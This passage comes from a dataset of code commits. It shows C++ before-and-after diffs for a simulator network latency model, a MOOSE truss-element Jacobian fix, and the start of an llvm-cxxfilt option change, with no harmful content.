pkt.time + network_latency;\n\n   nextHops.push_back(h);\n\n   if (m_params.proc_cost > 0)\n      perf->queueDynamicInstruction(new DynamicInstruction(m_params.proc_cost));\n   _cyclesProc += m_params.proc_cost;\n\n   updateUtilization();\n\n   _bytesSent += pkt.length;\n}\n\nUInt64 NetworkModelAnalytical::computeLatency(const NetPacket &packet)\n{\n   if (!m_enabled)\n      return 0;\n\n   \/\/ We model a unidirectional network with end-around connections\n   \/\/ using the network model in \"Limits on Interconnect Performance\"\n   \/\/ (by Anant). Currently, this ignores communication locality and\n   \/\/ sets static values for all parameters. We also assume uniform\n   \/\/ packet distribution, so we do not take the packet destination\n   \/\/ into account.\n   \/\/\n   \/\/ We combine the contention model (eq. 12) with the model for\n   \/\/ limited bisection width (sec. 4.2).\n\n   \/\/ TODO: Fix (if necessary) distance calculation for uneven\n   \/\/ topologies, i.e. 8-node 2d mesh or 10-node 3d mesh.\n\n   \/\/ TODO: Confirm model for latency computed based on actual number\n   \/\/ of network hops.\n\n   \/\/ Retrieve parameters\n   double Tw2 = m_params.Tw2;\n   double s = m_params.s;\n   int n = m_params.n;\n   double W = m_params.W;\n   double p = _globalUtilization;\n   assert(!IS_NAN(_globalUtilization));\n\n   \/\/ This lets us derive the latency, ignoring contention\n\n   int N;                    \/\/ number of nodes in the network\n   double k;                 \/\/ length of mesh in one dimension\n   double kd;                \/\/ number of hops per dimension\n   double time_per_hop;      \/\/ time spent in one hop through the network\n   double B;                 \/\/ number of flits for packet\n   double hops_in_network;   \/\/ number of nodes visited\n   double Tb;                \/\/ latency, without contention\n\n   N = Config::getSingleton()->getTotalCores();\n   k = pow(N, 1.\/n);                  \/\/ pg 5\n   kd = k\/2.;                         \/\/ pg 5 (note this will be\n   \/\/ different for different network configurations...say,\n   \/\/ bidirectional networks)\n   time_per_hop = s + pow(k, n\/2.-1.);  \/\/ pg 6\n   B = ceil(packet.length * 8. \/ W);\n\n   \/\/ Compute the number of hops based on src, dest\n   \/\/ Based on this eqn:\n   \/\/ node number = x1 + x2 k + x3 k^2 + ... + xn k^(n-1)\n   int network_distance = 0;\n   int src = packet.sender;\n   int dest = packet.receiver;\n   int ki = (int)k;\n   for (int i = 0; i < n; i++)\n   {\n      div_t q1, q2;\n      q1 = div(src, ki);\n      q2 = div(dest, ki);\n      \/\/ This models a unidirectional network distance\n      \/\/ Should use abs() for bidirectional.\n      if (q1.rem > q2.rem)\n         network_distance += ki - (q1.rem - q2.rem);\n      else\n         network_distance += q2.rem - q1.rem;\n      src = q1.quot;\n      dest = q2.quot;\n   }\n   hops_in_network = network_distance + B; \/\/ B flits must be sent\n   \/\/ (with wormhole routing, this adds B hops)\n\n   Tb = Tw2 * time_per_hop * hops_in_network; \/\/ pg 5\n\n   \/\/ Now to model contention... (sec 3.2)\n   double w;                 \/\/ delay due to contention\n\n   w  = p * B \/ (1. - p);\n   w *= (kd-1.)\/(kd*kd);\n   w *= 1.+1.\/((double)n);\n\n   if (w < 0) w = 0; \/\/ correct negative contention values for small\n   \/\/ networks\n\n   double hops_with_contention;\n   double Tc;                \/\/ latency, with contention\n   hops_with_contention = network_distance * (1. + w) + B;\n   Tc = Tw2 * time_per_hop * hops_with_contention;\n\n   \/\/ Computation finished...\n   _lock.acquire();\n\n   UInt64 Tci = (UInt64)(ceil(Tc));\n   _cyclesLatency += Tci;\n   _cyclesContention += (UInt64)(Tc - Tb);\n\n   \/\/ ** update utilization counter **\n   \/\/ we must account for the usage throughout the mesh\n   \/\/ which means that we must include the # of hops\n   _localUtilizationFlitsSent += (UInt64)(B * hops_in_network);\n\n   _lock.release();\n\n   return Tci;\n}\n\nvoid NetworkModelAnalytical::outputSummary(ostream &out)\n{\n   out << \"    bytes sent: \" << _bytesSent << endl;\n   out << \"    cycles spent proc: \" << _cyclesProc << endl;\n   out << \"    cycles spent latency: \" << _cyclesLatency << endl;\n   out << \"    cycles spent contention: \" << _cyclesContention << endl;\n}\n\nstruct UtilizationMessage\n{\n   double ut;\n   NetworkModelAnalytical *model;\n};\n\nstruct UtilizationMCPMessage\n{\n   int msg_type;\n   UtilizationMessage msg;\n};\n\n\/\/ we send and receive updates asynchronously for performance and\n\/\/ because the MCP is unable to reply to itself.\n\nvoid NetworkModelAnalytical::updateUtilization()\n{\n   \/\/ ** send updates\n\n   \/\/ don't lock because this is all approximate anyway\n   UInt64 core_time = getNetwork()->getCore()->getPerformanceModel()->getCycleCount();\n   UInt64 elapsed_time = core_time - _localUtilizationLastUpdate;\n\n   if (elapsed_time < m_params.update_interval)\n      return;\n\n   _lock.acquire();\n\n   \/\/ FIXME: This assumes one cycle per flit, might not be accurate.\n   double local_utilization = ((double)_localUtilizationFlitsSent) \/ ((double)elapsed_time);\n\n   _localUtilizationLastUpdate = core_time;\n   _localUtilizationFlitsSent = 0;\n\n   \/\/ build packet\n   UtilizationMCPMessage m;\n   m.msg_type = MCP_MESSAGE_UTILIZATION_UPDATE;\n   m.msg.ut = local_utilization;\n   m.msg.model = this;\n\n   NetPacket update;\n   update.sender = getNetwork()->getCore()->getId();\n   update.receiver = Config::getSingleton()->getMCPCoreNum();\n   update.length = sizeof(m);\n   update.type = MCP_SYSTEM_TYPE;\n   update.data = &m;\n\n   getNetwork()->netSend(update);\n\n   _lock.release();\n}\n\nvoid NetworkModelAnalytical::receiveMCPUpdate(void *obj, NetPacket response)\n{\n   assert(response.length == sizeof(UtilizationMessage));\n\n   UtilizationMessage *pr = (UtilizationMessage*) response.data;\n\n   pr->model->_lock.acquire();\n   pr->model->_globalUtilization = pr->ut;\n   assert(!IS_NAN(pr->model->_globalUtilization));\n   pr->model->_lock.release();\n}\n\nvoid NetworkModelAnalytical::enable()\n{\n   m_enabled = true;\n}\n\nvoid NetworkModelAnalytical::disable()\n{\n   m_enabled = false;\n}\n<commit_msg>[network\/analytical] Eliminate costs for self-sends.<commit_after>#include <math.h>\n#include <stdlib.h>\n\n#include \"network_model_analytical.h\"\n#include \"network_model_analytical_params.h\"\n#include \"message_types.h\"\n#include \"config.h\"\n#include \"core.h\"\n#include \"performance_model.h\"\n#include \"transport.h\"\n#include \"lock.h\"\n\n#define IS_NAN(x) (!((x < 0.0) || (x >= 0.0)))\n\nusing namespace std;\n\nNetworkModelAnalytical::NetworkModelAnalytical(Network *net, EStaticNetwork net_type)\n      : NetworkModel(net)\n      , _bytesSent(0)\n      , _cyclesProc(0)\n      , _cyclesLatency(0)\n      , _cyclesContention(0)\n      , _globalUtilization(0)\n      , _localUtilizationLastUpdate(0)\n      , _localUtilizationFlitsSent(0)\n      , m_enabled(true)\n{\n   getNetwork()->registerCallback(MCP_UTILIZATION_UPDATE_TYPE,\n                                  receiveMCPUpdate,\n                                  this);\n\n   \/\/ Create network parameters\n   m_params.Tw2 = 1; \/\/ single cycle between nodes in 2d mesh\n   m_params.s = 1; \/\/ single cycle switching time\n   m_params.n = 1; \/\/ 2-d mesh network\n   m_params.W = 32; \/\/ 32-bit wide channels\n   m_params.update_interval = 100000;\n   m_params.proc_cost = (net_type == STATIC_NETWORK_MEMORY) ? 0 : 100;\n}\n\nNetworkModelAnalytical::~NetworkModelAnalytical()\n{\n   getNetwork()->unregisterCallback(MCP_UTILIZATION_UPDATE_TYPE);\n}\n\nvoid NetworkModelAnalytical::routePacket(const NetPacket &pkt,\n      std::vector<Hop> &nextHops)\n{\n   \/\/ basic magic network routing, with two additions\n   \/\/ (1) compute latency of packet\n   \/\/ (2) update utilization\n\n   PerformanceModel *perf = getNetwork()->getCore()->getPerformanceModel();\n\n   Hop h;\n   h.dest = pkt.receiver;\n\n   UInt64 network_latency = computeLatency(pkt);\n   LOG_PRINT (\"Network Latency = %llu\", network_latency);\n   h.time = pkt.time + network_latency;\n\n   nextHops.push_back(h);\n\n   if (m_params.proc_cost > 0)\n      perf->queueDynamicInstruction(new DynamicInstruction(m_params.proc_cost));\n   _cyclesProc += m_params.proc_cost;\n\n   updateUtilization();\n\n   _bytesSent += pkt.length;\n}\n\nUInt64 NetworkModelAnalytical::computeLatency(const NetPacket &packet)\n{\n   if (!m_enabled)\n      return 0;\n\n   \/\/ self-sends incur no cost\n   if (packet.sender == packet.receiver)\n     return 0;\n\n   \/\/ We model a unidirectional network with end-around connections\n   \/\/ using the network model in \"Limits on Interconnect Performance\"\n   \/\/ (by Anant). Currently, this ignores communication locality and\n   \/\/ sets static values for all parameters. We also assume uniform\n   \/\/ packet distribution, so we do not take the packet destination\n   \/\/ into account.\n   \/\/\n   \/\/ We combine the contention model (eq. 12) with the model for\n   \/\/ limited bisection width (sec. 4.2).\n\n   \/\/ TODO: Fix (if necessary) distance calculation for uneven\n   \/\/ topologies, i.e. 8-node 2d mesh or 10-node 3d mesh.\n\n   \/\/ TODO: Confirm model for latency computed based on actual number\n   \/\/ of network hops.\n\n   \/\/ Retrieve parameters\n   double Tw2 = m_params.Tw2;\n   double s = m_params.s;\n   int n = m_params.n;\n   double W = m_params.W;\n   double p = _globalUtilization;\n   assert(!IS_NAN(_globalUtilization));\n\n   \/\/ This lets us derive the latency, ignoring contention\n\n   int N;                    \/\/ number of nodes in the network\n   double k;                 \/\/ length of mesh in one dimension\n   double kd;                \/\/ number of hops per dimension\n   double time_per_hop;      \/\/ time spent in one hop through the network\n   double B;                 \/\/ number of flits for packet\n   double hops_in_network;   \/\/ number of nodes visited\n   double Tb;                \/\/ latency, without contention\n\n   N = Config::getSingleton()->getTotalCores();\n   k = pow(N, 1.\/n);                  \/\/ pg 5\n   kd = k\/2.;                         \/\/ pg 5 (note this will be\n   \/\/ different for different network configurations...say,\n   \/\/ bidirectional networks)\n   time_per_hop = s + pow(k, n\/2.-1.);  \/\/ pg 6\n   B = ceil(packet.length * 8. \/ W);\n\n   \/\/ Compute the number of hops based on src, dest\n   \/\/ Based on this eqn:\n   \/\/ node number = x1 + x2 k + x3 k^2 + ... + xn k^(n-1)\n   int network_distance = 0;\n   int src = packet.sender;\n   int dest = packet.receiver;\n   int ki = (int)k;\n   for (int i = 0; i < n; i++)\n   {\n      div_t q1, q2;\n      q1 = div(src, ki);\n      q2 = div(dest, ki);\n      \/\/ This models a unidirectional network distance\n      \/\/ Should use abs() for bidirectional.\n      if (q1.rem > q2.rem)\n         network_distance += ki - (q1.rem - q2.rem);\n      else\n         network_distance += q2.rem - q1.rem;\n      src = q1.quot;\n      dest = q2.quot;\n   }\n   hops_in_network = network_distance + B; \/\/ B flits must be sent\n   \/\/ (with wormhole routing, this adds B hops)\n\n   Tb = Tw2 * time_per_hop * hops_in_network; \/\/ pg 5\n\n   \/\/ Now to model contention... (sec 3.2)\n   double w;                 \/\/ delay due to contention\n\n   w  = p * B \/ (1. - p);\n   w *= (kd-1.)\/(kd*kd);\n   w *= 1.+1.\/((double)n);\n\n   if (w < 0) w = 0; \/\/ correct negative contention values for small\n   \/\/ networks\n\n   double hops_with_contention;\n   double Tc;                \/\/ latency, with contention\n   hops_with_contention = network_distance * (1. + w) + B;\n   Tc = Tw2 * time_per_hop * hops_with_contention;\n\n   \/\/ Computation finished...\n   _lock.acquire();\n\n   UInt64 Tci = (UInt64)(ceil(Tc));\n   _cyclesLatency += Tci;\n   _cyclesContention += (UInt64)(Tc - Tb);\n\n   \/\/ ** update utilization counter **\n   \/\/ we must account for the usage throughout the mesh\n   \/\/ which means that we must include the # of hops\n   _localUtilizationFlitsSent += (UInt64)(B * hops_in_network);\n\n   _lock.release();\n\n   return Tci;\n}\n\nvoid NetworkModelAnalytical::outputSummary(ostream &out)\n{\n   out << \"    bytes sent: \" << _bytesSent << endl;\n   out << \"    cycles spent proc: \" << _cyclesProc << endl;\n   out << \"    cycles spent latency: \" << _cyclesLatency << endl;\n   out << \"    cycles spent contention: \" << _cyclesContention << endl;\n}\n\nstruct UtilizationMessage\n{\n   double ut;\n   NetworkModelAnalytical *model;\n};\n\nstruct UtilizationMCPMessage\n{\n   int msg_type;\n   UtilizationMessage msg;\n};\n\n\/\/ we send and receive updates asynchronously for performance and\n\/\/ because the MCP is unable to reply to itself.\n\nvoid NetworkModelAnalytical::updateUtilization()\n{\n   \/\/ ** send updates\n\n   \/\/ don't lock because this is all approximate anyway\n   UInt64 core_time = getNetwork()->getCore()->getPerformanceModel()->getCycleCount();\n   UInt64 elapsed_time = core_time - _localUtilizationLastUpdate;\n\n   if (elapsed_time < m_params.update_interval)\n      return;\n\n   _lock.acquire();\n\n   \/\/ FIXME: This assumes one cycle per flit, might not be accurate.\n   double local_utilization = ((double)_localUtilizationFlitsSent) \/ ((double)elapsed_time);\n\n   _localUtilizationLastUpdate = core_time;\n   _localUtilizationFlitsSent = 0;\n\n   \/\/ build packet\n   UtilizationMCPMessage m;\n   m.msg_type = MCP_MESSAGE_UTILIZATION_UPDATE;\n   m.msg.ut = local_utilization;\n   m.msg.model = this;\n\n   NetPacket update;\n   update.sender = getNetwork()->getCore()->getId();\n   update.receiver = Config::getSingleton()->getMCPCoreNum();\n   update.length = sizeof(m);\n   update.type = MCP_SYSTEM_TYPE;\n   update.data = &m;\n\n   getNetwork()->netSend(update);\n\n   _lock.release();\n}\n\nvoid NetworkModelAnalytical::receiveMCPUpdate(void *obj, NetPacket response)\n{\n   assert(response.length == sizeof(UtilizationMessage));\n\n   UtilizationMessage *pr = (UtilizationMessage*) response.data;\n\n   pr->model->_lock.acquire();\n   pr->model->_globalUtilization = pr->ut;\n   assert(!IS_NAN(pr->model->_globalUtilization));\n   pr->model->_lock.release();\n}\n\nvoid NetworkModelAnalytical::enable()\n{\n   m_enabled = true;\n}\n\nvoid NetworkModelAnalytical::disable()\n{\n   m_enabled = false;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/****************************************************************\/\n\/* MOOSE - Multiphysics Object Oriented Simulation Environment  *\/\n\/*                                                              *\/\n\/*          All contents are licensed under LGPL V2.1           *\/\n\/*             See LICENSE for full restrictions                *\/\n\/****************************************************************\/\n#include \"StressDivergenceTruss.h\"\n\n#include \"Material.h\"\n#include \"SymmElasticityTensor.h\"\n\ntemplate<>\nInputParameters validParams<StressDivergenceTruss>()\n{\n  InputParameters params = validParams<Kernel>();\n  params.addRequiredParam<unsigned int>(\"component\", \"An integer corresponding to the direction the variable this kernel acts in. (0 for x, 1 for y, 2 for z)\");\n  params.addCoupledVar(\"disp_x\", \"The x displacement\");\n  params.addCoupledVar(\"disp_y\", \"The y displacement\");\n  params.addCoupledVar(\"disp_z\", \"The z displacement\");\n  params.addCoupledVar(\"temp\", \"The temperature\");\n  params.addCoupledVar(\"area\", \"Cross-sectional area of truss element\");\n  params.addParam<std::string>(\"appended_property_name\", \"\", \"Name appended to material properties to make them unique\");\n\n  params.set<bool>(\"use_displaced_mesh\") = true;\n\n  return params;\n}\n\n\nStressDivergenceTruss::StressDivergenceTruss(const std::string & name, InputParameters parameters)\n  :Kernel(name, parameters),\n   _axial_stress(getMaterialProperty<Real>(\"axial_stress\" + getParam<std::string>(\"appended_property_name\"))),\n   _E_over_L(getMaterialProperty<Real>(\"e_over_l\" + getParam<std::string>(\"appended_property_name\"))),\n   _component(getParam<unsigned int>(\"component\")),\n   _xdisp_coupled(isCoupled(\"disp_x\")),\n   _ydisp_coupled(isCoupled(\"disp_y\")),\n   _zdisp_coupled(isCoupled(\"disp_z\")),\n   _temp_coupled(isCoupled(\"temp\")),\n   _xdisp_var(_xdisp_coupled ? coupled(\"disp_x\") : 0),\n   _ydisp_var(_ydisp_coupled ? coupled(\"disp_y\") : 0),\n   _zdisp_var(_zdisp_coupled ? coupled(\"disp_z\") : 0),\n   _temp_var(_temp_coupled ? coupled(\"temp\") : 0),\n   _area(coupledValue(\"area\")),\n   _orientation(NULL)\n{}\n\nvoid\nStressDivergenceTruss::initialSetup()\n{\n  \/\/ Assume that all trusses are one dimensional in the call below\n  _orientation = &_subproblem.assembly(_tid).getFE(FEType(), 1)->get_dxyzdxi();\n}\n\n\nvoid\nStressDivergenceTruss::computeResidual()\n{\n  DenseVector<Number> & re = _assembly.residualBlock(_var.number());\n  mooseAssert(re.size() == 2, \"Truss elements must have two nodes\");\n  _local_re.resize(re.size());\n  _local_re.zero();\n\n  RealGradient orientation( (*_orientation)[0] );\n  orientation \/= orientation.size();\n  VectorValue<Real> force_local = _axial_stress[0] * _area[0] * orientation;\n\n  int sign(-_test[0][0]\/std::abs(_test[0][0]));\n  _local_re(0) = sign * force_local(_component);\n  _local_re(1) = -_local_re(0);\n\n  re += _local_re;\n\n  if (_has_save_in)\n  {\n    Threads::spin_mutex::scoped_lock lock(Threads::spin_mtx);\n    for (unsigned int i=0; i<_save_in.size(); i++)\n      _save_in[i]->sys().solution().add_vector(_local_re, _save_in[i]->dofIndices());\n  }\n}\n\nvoid\nStressDivergenceTruss::computeStiffness(ColumnMajorMatrix & stiff_global)\n{\n  RealGradient orientation( (*_orientation)[0] );\n  orientation \/= orientation.size();\n\n  \/\/ Now get a rotation matrix\n  \/\/ The orientation is the first row of the matrix.\n  \/\/ Need two other directions.\n  VectorValue<Real> & row1( orientation );\n  VectorValue<Real> row3( row1 );\n  unsigned zero_index(0);\n  if (row3(1) != 0)\n  {\n    zero_index = 1;\n  }\n  if (row3(2) != 0)\n  {\n    zero_index = 2;\n  }\n  row3(zero_index) += 1;\n  VectorValue<Real> row2 = orientation.cross( row3 );\n  row3 = orientation.cross( row2 );\n\n  Real k = _E_over_L[0] * _area[0];\n\n  stiff_global(0,0) = row1(0)*row1(0)*k;\n  stiff_global(0,1) = row1(0)*row2(0)*k;\n  stiff_global(0,2) = row1(0)*row3(0)*k;\n  stiff_global(1,0) = row2(0)*row1(0)*k;\n  stiff_global(1,1) = row2(0)*row2(0)*k;\n  stiff_global(1,2) = row2(0)*row3(0)*k;\n  stiff_global(2,0) = row3(0)*row1(0)*k;\n  stiff_global(2,1) = row3(0)*row2(0)*k;\n  stiff_global(2,2) = row3(0)*row3(0)*k;\n}\n\nvoid\nStressDivergenceTruss::computeJacobian()\n{\n\n  DenseMatrix<Number> & ke = _assembly.jacobianBlock(_var.number(), _var.number());\n  _local_ke.resize(ke.m(), ke.n());\n  _local_ke.zero();\n\n  ColumnMajorMatrix stiff_global(3,3);\n  computeStiffness( stiff_global );\n\n  for (_i = 0; _i < _test.size(); _i++)\n  {\n    for (_j = 0; _j < _phi.size(); _j++)\n    {\n      int sign( _i == _j ? 1 : -1 );\n      _local_ke(_i, _j) += sign * stiff_global(_component, _component);\n    }\n  }\n\n  ke += _local_ke;\n\n  if (_has_diag_save_in)\n  {\n    unsigned int rows = ke.m();\n    DenseVector<Number> diag(rows);\n    for (unsigned int i=0; i<rows; i++)\n      diag(i) = _local_ke(i,i);\n\n    Threads::spin_mutex::scoped_lock lock(Threads::spin_mtx);\n    for (unsigned int i=0; i<_diag_save_in.size(); i++)\n      _diag_save_in[i]->sys().solution().add_vector(diag, _diag_save_in[i]->dofIndices());\n  }\n}\n\nvoid\nStressDivergenceTruss::computeOffDiagJacobian(unsigned int jvar)\n{\n  if (jvar == _var.number())\n  {\n    computeJacobian();\n  }\n  else\n  {\n    unsigned int coupled_component = 0;\n\n    bool active(false);\n\n    if ( _xdisp_coupled && jvar == _xdisp_var )\n    {\n      coupled_component = 0;\n      active = true;\n    }\n    else if ( _ydisp_coupled && jvar == _ydisp_var )\n    {\n      coupled_component = 1;\n      active = true;\n    }\n    else if ( _zdisp_coupled && jvar == _zdisp_var )\n    {\n      coupled_component = 2;\n      active = true;\n    }\n\n    DenseMatrix<Number> & ke = _assembly.jacobianBlock(_var.number(), jvar);\n\n    if (active)\n    {\n      ColumnMajorMatrix stiff_global(3,3);\n      computeStiffness( stiff_global );\n\n      for (_i=0; _i<_test.size(); _i++)\n      {\n        for (_j=0; _j<_phi.size(); _j++)\n        {\n          int sign( _i == _j ? 1 : -1 );\n          ke(_i,_j) += sign * stiff_global(_component, coupled_component);\n        }\n      }\n    }\n    else if ( false ) \/\/ Need some code here for coupling with temperature\n    {\n    }\n  }\n}\n<commit_msg>Correct Jacobian for truss elements closes #5271<commit_after>\/****************************************************************\/\n\/* MOOSE - Multiphysics Object Oriented Simulation Environment  *\/\n\/*                                                              *\/\n\/*          All contents are licensed under LGPL V2.1           *\/\n\/*             See LICENSE for full restrictions                *\/\n\/****************************************************************\/\n#include \"StressDivergenceTruss.h\"\n\n#include \"Material.h\"\n#include \"SymmElasticityTensor.h\"\n\ntemplate<>\nInputParameters validParams<StressDivergenceTruss>()\n{\n  InputParameters params = validParams<Kernel>();\n  params.addRequiredParam<unsigned int>(\"component\", \"An integer corresponding to the direction the variable this kernel acts in. (0 for x, 1 for y, 2 for z)\");\n  params.addCoupledVar(\"disp_x\", \"The x displacement\");\n  params.addCoupledVar(\"disp_y\", \"The y displacement\");\n  params.addCoupledVar(\"disp_z\", \"The z displacement\");\n  params.addCoupledVar(\"temp\", \"The temperature\");\n  params.addCoupledVar(\"area\", \"Cross-sectional area of truss element\");\n  params.addParam<std::string>(\"appended_property_name\", \"\", \"Name appended to material properties to make them unique\");\n\n  params.set<bool>(\"use_displaced_mesh\") = true;\n\n  return params;\n}\n\n\nStressDivergenceTruss::StressDivergenceTruss(const std::string & name, InputParameters parameters)\n  :Kernel(name, parameters),\n   _axial_stress(getMaterialProperty<Real>(\"axial_stress\" + getParam<std::string>(\"appended_property_name\"))),\n   _E_over_L(getMaterialProperty<Real>(\"e_over_l\" + getParam<std::string>(\"appended_property_name\"))),\n   _component(getParam<unsigned int>(\"component\")),\n   _xdisp_coupled(isCoupled(\"disp_x\")),\n   _ydisp_coupled(isCoupled(\"disp_y\")),\n   _zdisp_coupled(isCoupled(\"disp_z\")),\n   _temp_coupled(isCoupled(\"temp\")),\n   _xdisp_var(_xdisp_coupled ? coupled(\"disp_x\") : 0),\n   _ydisp_var(_ydisp_coupled ? coupled(\"disp_y\") : 0),\n   _zdisp_var(_zdisp_coupled ? coupled(\"disp_z\") : 0),\n   _temp_var(_temp_coupled ? coupled(\"temp\") : 0),\n   _area(coupledValue(\"area\")),\n   _orientation(NULL)\n{}\n\nvoid\nStressDivergenceTruss::initialSetup()\n{\n  \/\/ Assume that all trusses are one dimensional in the call below\n  _orientation = &_subproblem.assembly(_tid).getFE(FEType(), 1)->get_dxyzdxi();\n}\n\n\nvoid\nStressDivergenceTruss::computeResidual()\n{\n  DenseVector<Number> & re = _assembly.residualBlock(_var.number());\n  mooseAssert(re.size() == 2, \"Truss elements must have two nodes\");\n  _local_re.resize(re.size());\n  _local_re.zero();\n\n  RealGradient orientation( (*_orientation)[0] );\n  orientation \/= orientation.size();\n  VectorValue<Real> force_local = _axial_stress[0] * _area[0] * orientation;\n\n  int sign(-_test[0][0]\/std::abs(_test[0][0]));\n  _local_re(0) = sign * force_local(_component);\n  _local_re(1) = -_local_re(0);\n\n  re += _local_re;\n\n  if (_has_save_in)\n  {\n    Threads::spin_mutex::scoped_lock lock(Threads::spin_mtx);\n    for (unsigned int i=0; i<_save_in.size(); i++)\n      _save_in[i]->sys().solution().add_vector(_local_re, _save_in[i]->dofIndices());\n  }\n}\n\nvoid\nStressDivergenceTruss::computeStiffness(ColumnMajorMatrix & stiff_global)\n{\n  RealGradient orientation( (*_orientation)[0] );\n  orientation \/= orientation.size();\n\n  Real k = _E_over_L[0] * _area[0];\n  stiff_global(0,0) = orientation(0)*orientation(0)*k;\n  stiff_global(0,1) = orientation(0)*orientation(1)*k;\n  stiff_global(0,2) = orientation(0)*orientation(2)*k;\n  stiff_global(1,0) = orientation(1)*orientation(0)*k;\n  stiff_global(1,1) = orientation(1)*orientation(1)*k;\n  stiff_global(1,2) = orientation(1)*orientation(2)*k;\n  stiff_global(2,0) = orientation(2)*orientation(0)*k;\n  stiff_global(2,1) = orientation(2)*orientation(1)*k;\n  stiff_global(2,2) = orientation(2)*orientation(2)*k;\n}\n\nvoid\nStressDivergenceTruss::computeJacobian()\n{\n\n  DenseMatrix<Number> & ke = _assembly.jacobianBlock(_var.number(), _var.number());\n  _local_ke.resize(ke.m(), ke.n());\n  _local_ke.zero();\n\n  ColumnMajorMatrix stiff_global(3,3);\n  computeStiffness( stiff_global );\n\n  for (_i = 0; _i < _test.size(); _i++)\n  {\n    for (_j = 0; _j < _phi.size(); _j++)\n    {\n      int sign( _i == _j ? 1 : -1 );\n      _local_ke(_i, _j) += sign * stiff_global(_component, _component);\n    }\n  }\n\n  ke += _local_ke;\n\n  if (_has_diag_save_in)\n  {\n    unsigned int rows = ke.m();\n    DenseVector<Number> diag(rows);\n    for (unsigned int i=0; i<rows; i++)\n      diag(i) = _local_ke(i,i);\n\n    Threads::spin_mutex::scoped_lock lock(Threads::spin_mtx);\n    for (unsigned int i=0; i<_diag_save_in.size(); i++)\n      _diag_save_in[i]->sys().solution().add_vector(diag, _diag_save_in[i]->dofIndices());\n  }\n}\n\nvoid\nStressDivergenceTruss::computeOffDiagJacobian(unsigned int jvar)\n{\n  if (jvar == _var.number())\n  {\n    computeJacobian();\n  }\n  else\n  {\n    unsigned int coupled_component = 0;\n\n    bool active(false);\n\n    if ( _xdisp_coupled && jvar == _xdisp_var )\n    {\n      coupled_component = 0;\n      active = true;\n    }\n    else if ( _ydisp_coupled && jvar == _ydisp_var )\n    {\n      coupled_component = 1;\n      active = true;\n    }\n    else if ( _zdisp_coupled && jvar == _zdisp_var )\n    {\n      coupled_component = 2;\n      active = true;\n    }\n\n    DenseMatrix<Number> & ke = _assembly.jacobianBlock(_var.number(), jvar);\n\n    if (active)\n    {\n      ColumnMajorMatrix stiff_global(3,3);\n      computeStiffness( stiff_global );\n\n      for (_i=0; _i<_test.size(); _i++)\n      {\n        for (_j=0; _j<_phi.size(); _j++)\n        {\n          int sign( _i == _j ? 1 : -1 );\n          ke(_i,_j) += sign * stiff_global(_component, coupled_component);\n        }\n      }\n    }\n    else if ( false ) \/\/ Need some code here for coupling with temperature\n    {\n    }\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/===-- llvm-c++filt.cpp --------------------------------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Demangle\/Demangle.h\"\n#include \"llvm\/Support\/CommandLine.h\"\n#include \"llvm\/Support\/PrettyStackTrace.h\"\n#include \"llvm\/Support\/Signals.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n#include <cstdlib>\n#include <iostream>\n\nusing namespace llvm;\n\nstatic cl::opt<bool>\n    Types(\"types\",\n          cl::desc(\"attempt to demangle types as well as function names\"),\n          cl::init(false));\nstatic cl::alias TypesShort(\"t\", cl::desc(\"alias for --types\"),\n                            cl::aliasopt(Types));\n\nstatic cl::list<std::string>\nDecorated(cl::Positional, cl::desc(\"<mangled>\"), cl::ZeroOrMore);\n\nstatic void demangle(llvm::raw_ostream &OS, const std::string &Mangled) {\n  int Status;\n  char *Demangled = nullptr;\n  if (Types || ((Mangled.size() >= 2 && Mangled.compare(0, 2, \"_Z\")) ||\n                (Mangled.size() >= 4 && Mangled.compare(0, 4, \"___Z\"))))\n    Demangled = itaniumDemangle(Mangled.c_str(), nullptr, nullptr, &Status);\n  OS << (Demangled ? Demangled : Mangled) << '\\n';\n  free(Demangled);\n}\n\nint main(int argc, char **argv) {\n  sys::PrintStackTraceOnErrorSignal(argv[0]);\n  PrettyStackTraceProgram X(argc, argv);\n\n  cl::ParseCommandLineOptions(argc, argv, \"llvm symbol undecoration tool\\n\");\n\n  if (Decorated.empty())\n    for (std::string Mangled; std::getline(std::cin, Mangled);)\n      demangle(llvm::outs(), Mangled);\n  else\n    for (const auto &Symbol : Decorated)\n      demangle(llvm::outs(), Symbol);\n\n  return EXIT_SUCCESS;\n}\n<commit_msg>llvm-cxxfilt: support the `-s` option<commit_after>\/\/===-- llvm-c++filt.cpp --------------------------------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Demangle\/Demangle.h\"\n#include \"llvm\/Support\/CommandLine.h\"\n#include \"llvm\/Support\/PrettyStackTrace.h\"\n#include \"llvm\/Support\/Signals.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n#include <cstdlib>\n#include <iostream>\n\nusing namespace llvm;\n\nenum Style {\n  Auto,  \/\/\/< auto-detect mangling\n  GNU,   \/\/\/< GNU\n  Lucid, \/\/\/< Lucid compiler (lcc)\n  ARM,\n  HP,    \/\/\/< HP compiler (xCC)\n  EDG,   \/\/\/< EDG compiler\n  GNUv3, \/\/\/< GNU C++ v3 ABI\n  Java,  \/\/\/< Java (gcj)\n  GNAT   \/\/\/< ADA copiler (gnat)\n};\nstatic cl::opt<Style>\n    Format(\"format\", cl::desc(\"decoration style\"),\n           cl::values(clEnumValN(Auto, \"auto\", \"auto-detect style\"),\n                      clEnumValN(GNU, \"gnu\", \"GNU (itanium) style\")),\n           cl::init(Auto));\nstatic cl::alias FormatShort(\"s\", cl::desc(\"alias for --format\"),\n                             cl::aliasopt(Format));\n\nstatic cl::opt<bool>\n    Types(\"types\",\n          cl::desc(\"attempt to demangle types as well as function names\"),\n          cl::init(false));\nstatic cl::alias TypesShort(\"t\", cl::desc(\"alias for --types\"),\n                            cl::aliasopt(Types));\n\nstatic cl::list<std::string>\nDecorated(cl::Positional, cl::desc(\"<mangled>\"), cl::ZeroOrMore);\n\nstatic void demangle(llvm::raw_ostream &OS, const std::string &Mangled) {\n  int Status;\n  char *Demangled = nullptr;\n  if (Types || ((Mangled.size() >= 2 && Mangled.compare(0, 2, \"_Z\")) 